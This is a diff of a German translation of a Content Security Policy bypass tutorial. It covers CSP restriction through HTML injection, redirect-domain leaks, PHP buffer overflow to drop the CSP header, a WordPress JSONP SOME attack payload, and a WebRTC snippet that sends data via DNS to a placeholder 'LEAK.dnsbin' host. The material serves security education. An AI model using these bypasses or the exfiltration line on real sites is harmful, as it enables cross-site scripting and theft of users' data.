@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe> csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
``` ```
In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\ In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\
CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** zulässt, und spezifische Inline-Skripte über sha aktiviert werden: CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** erlaubt, und **bestimmte Inline-Skripte über sha aktiviert werden:**
```html ```html
<meta <meta
http-equiv="Content-Security-Policy" http-equiv="Content-Security-Policy"
@ -581,9 +581,9 @@ document.querySelector("DIV").innerHTML =
- Ein `iframe` wird erstellt, der auf eine URL zeigt (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist. - Ein `iframe` wird erstellt, der auf eine URL zeigt (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist.
- Diese URL leitet dann zu einer geheimen URL weiter (z. B. `https://usersecret.example2.com`), die **nicht erlaubt** ist von CSP. - Diese URL leitet dann zu einer geheimen URL weiter (z. B. `https://usersecret.example2.com`), die **nicht erlaubt** ist von CSP.
- Durch das Abhören des `securitypolicyviolation`-Ereignisses kann man die `blockedURI`-Eigenschaft erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leakt die geheime Domain, zu der die ursprüngliche URL weitergeleitet wurde. - Durch das Abhören des `securitypolicyviolation`-Ereignisses kann man die `blockedURI`-Eigenschaft erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leakt die geheime Domain, zu der die ursprüngliche URL weitergeleitet hat.
Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit iframes in Bezug auf CSP haben, was zu potenziellem Leck von sensiblen Informationen aufgrund undefinierten Verhaltens führen kann. Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit iframes in Bezug auf CSP haben, was zu potenziellen Lecks sensibler Informationen aufgrund undefinierten Verhaltens führen kann.
Eine weitere Technik besteht darin, die CSP selbst auszunutzen, um die geheime Subdomain abzuleiten. Diese Methode basiert auf einem binären Suchalgorithmus und der Anpassung der CSP, um spezifische Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu erleichtern: Eine weitere Technik besteht darin, die CSP selbst auszunutzen, um die geheime Subdomain abzuleiten. Diese Methode basiert auf einem binären Suchalgorithmus und der Anpassung der CSP, um spezifische Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu erleichtern:
```markdown ```markdown
@ -604,7 +604,7 @@ Laut der [**letzten Technik, die in diesem Video kommentiert wurde**](https://ww
### PHP-Antwortpufferüberlastung ### PHP-Antwortpufferüberlastung
PHP ist bekannt dafür, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher, wenn PHP eine Warnung anzeigt, wird die **Antwort** **gesendet**, **bevor** der **CSP-Header** gesendet wird, was dazu führt, dass der Header ignoriert wird.\ PHP ist bekannt dafür, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher, wenn PHP eine Warnung anzeigt, wird die **Antwort** **gesendet**, **bevor** der **CSP-Header** gesendet wird, was dazu führt, dass der Header ignoriert wird.\
Die Technik besteht also im Wesentlichen darin, den Antwortpuffer mit Warnungen zu **füllen**, sodass der CSP-Header nicht gesendet wird. Die Technik besteht also im Wesentlichen darin, den **Antwortpuffer mit Warnungen zu füllen**, sodass der CSP-Header nicht gesendet wird.
Idee von [**diesem Writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). Idee von [**diesem Writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@ -625,7 +625,7 @@ SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) **in einem
../xss-cross-site-scripting/some-same-origin-method-execution.md ../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}} {{#endref}}
Darüber hinaus hat **wordpress** einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die **Daten** im Output **reflektiert** (mit der Einschränkung auf Buchstaben, Zahlen und Punkte). Darüber hinaus hat **wordpress** einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die **Daten** im Output **reflektiert** (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).
Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachte, dass dieses **Script** **geladen** wird, weil es **von 'self'** erlaubt ist. Darüber hinaus, und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\ Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachte, dass dieses **Script** **geladen** wird, weil es **von 'self'** erlaubt ist. Darüber hinaus, und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\
Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht überprüft. Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht überprüft.
Tatsächlich kann man _leak_ Informationen über eine _DNS-Anfrage_. Schau dir diesen Code an: Tatsächlich kann man _Informationen_ mit einer _DNS-Anfrage_ _leaken_. Schau dir diesen Code an:
```javascript ```javascript
;(async () => { ;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })